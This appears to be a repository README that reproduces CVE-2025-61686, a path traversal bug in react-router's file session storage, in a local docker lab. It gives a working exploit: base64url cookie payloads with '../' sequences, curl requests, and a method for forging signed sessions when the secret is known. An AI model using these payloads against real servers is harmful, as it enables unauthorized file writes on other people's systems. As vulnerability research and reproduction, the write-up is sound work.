flowerwitch/cve-2025-61686_dockerCVE-2025-61686复现的dockerfile与poc
docker-compose up --build
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
By comparing the vulnerable versions 7.9.3 and 7.9.4, it can be found that the main cause is a problem with the session handling in the getFile() function in react-router/packages/react-router-node/sessions/fileStorage.ts.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
Here, the first 4 characters of the session are used as the directory name, and the rest after the 4th character as the file name. Therefore, an attacker can achieve path traversal simply by the following method. This is why the vulnerability advisory states that path traversal can be easily achieved when session signing does not require a secret. Of course, if the attacker can obtain the secret used to encrypt the session, they can also construct a corresponding traversal payload.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
For cases where the secret has been obtained, refer to the sign() function to sign the PoC with the secret.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
Send a request with the generated session
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
Confirm the vulnerability is triggered
root@eb8750bd4a56:/tmp# ls
flowerwitch
Signature generation script use_secret_create_payload.js